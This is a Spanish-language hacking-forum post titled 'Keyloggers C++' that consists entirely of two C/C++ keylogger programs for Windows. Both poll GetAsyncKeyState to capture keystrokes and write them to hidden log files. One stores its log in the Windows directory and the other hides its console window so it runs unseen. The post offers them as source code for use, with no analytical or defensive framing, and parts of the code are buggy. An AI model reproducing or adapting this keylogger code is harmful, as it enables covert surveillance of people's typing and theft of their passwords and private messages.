Underc0de

Programación General => C / C++ => Códigos Fuentes => Mensaje iniciado por: ANTRAX en Mayo 22, 2011, 09:55:10 PM

Título: Keyloggers C++
Publicado por: ANTRAX en Mayo 22, 2011, 09:55:10 PM
Código (cpp) [Seleccionar]
001 #include <stdio.h>
002 #include <windows.h>
003 #include <Winuser.h>
004
005
006 void keys(int key,char *file)
007 {
008
009 FILE *key_file;
010
011 key_file = fopen(file,"a+");
012
013
014
015 if (key==8)
016
017 fprintf(key_file,"%s","[del]");
018
019 if (key==13)
020
021 fprintf(key_file,"%s","\n");
022
023 if (key==32)
024
025 fprintf(key_file,"%s"," ");
026
027 if (key==VK_CAPITAL)
028
029 fprintf(key_file,"%s","[Caps]");
030
031 if (key==VK_TAB)
032
033 fprintf(key_file,"%s","[TAB]");
034
035 if (key ==VK_SHIFT)
036
037 fprintf(key_file,"%s","[SHIFT]");
038
039 if (key ==VK_CONTROL)
040
041 fprintf(key_file,"%s","[CTRL]");
042
043 if (key ==VK_PAUSE)
044
045 fprintf(key_file,"%s","[PAUSE]");
046
047 if (key ==VK_KANA)
048
049 fprintf(key_file,"%s","[Kana]");
050
051 if (key ==VK_ESCAPE)
052
053 fprintf(key_file,"%s","[ESC]");
054
055 if (key ==VK_END)
056
057 fprintf(key_file,"%s","[END]");
058
059 if (key==VK_HOME)
060
061 fprintf(key_file,"%s","[HOME]");
062
063 if (key ==VK_LEFT)
064
065 fprintf(key_file,"%s","[LEFT]");
066
067 if (key ==VK_UP)
068
069 fprintf(key_file,"%s","[UP]");
070
071 if (key ==VK_RIGHT)
072
073 fprintf(key_file,"%s","[RIGHT]");
074
075 if (key ==VK_DOWN)
076
077 fprintf(key_file,"%s","[DOWN]");
078
079 if (key ==VK_SNAPSHOT)
080
081 fprintf(key_file,"%s","[PRINT]");
082
083 if (key ==VK_NUMLOCK)
084
085 fprintf(key_file,"%s","[NUM LOCK]");
086
087 if (key ==190 || key==110)
088
089 fprintf(key_file,"%s",".");
090
091 if (key >=96 && key <= 105){
092
093     key = key - 48;
094  
095     fprintf(key_file,"%s",&key);
096
097 }
098
099 if (key >=48 && key <= 59)
100
101 fprintf(key_file,"%s",&key);
102
103
104
105 if (key !=VK_LBUTTON || key !=VK_RBUTTON){
106
107     if (key >=65 && key <=90){
108  
109         if (GetKeyState(VK_CAPITAL))
110        
111             fprintf(key_file,"%s",&key);
112 else
113
114 {
115
116      key = key +32;
117
118      fprintf(key_file,"%s",&key);
119
120 }
121 }
122
123 }
124
125 fclose(key_file);
126
127
128
129
130
131 }
132
133 int main()
134 {
135
136
137
138 char i;
139
140
141 char test[MAX_PATH];
142 GetWindowsDirectory(test,sizeof(test));
143 strcat(test,"//keys.txt");
144
145 while(1){ 
146
147     for(i=8;i<=190;i++){
148    
149     if (GetAsyncKeyState(i) == -32767)
150      
151     {
152    
153        
154       keys (i,test);
155        
156        
157
158     }
159 }
160
161 }
162
163 }





Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define TRUE               1
#define FALSE              0
#define LINE                 256
#define CARACTERES   256
#define SLEEP              2

int main(void)
{
     FILE                    *f;
     int                        i, n = 0;
     int                        line[LINE];   
 
     FreeConsole();

     if(! (f = fopen("log.txt","ab+")))
           exit(EXIT_FAILURE);

     while(TRUE){
              for(i = 0; i < CARACTERES - 1; i++){
                    if(GetAsyncKeyState(i) == -32767){
                         if( n < LINE - 1){
                             line[n++] = i;
                         }else{
                             line[n] = '\0';
                             fprintf(f,"%s\n",line);
                             n = 0;
                         }
                    }
              }
              sleep(SLEEP);
     }
     fclose(f);     

     exit(EXIT_SUCCESS);
}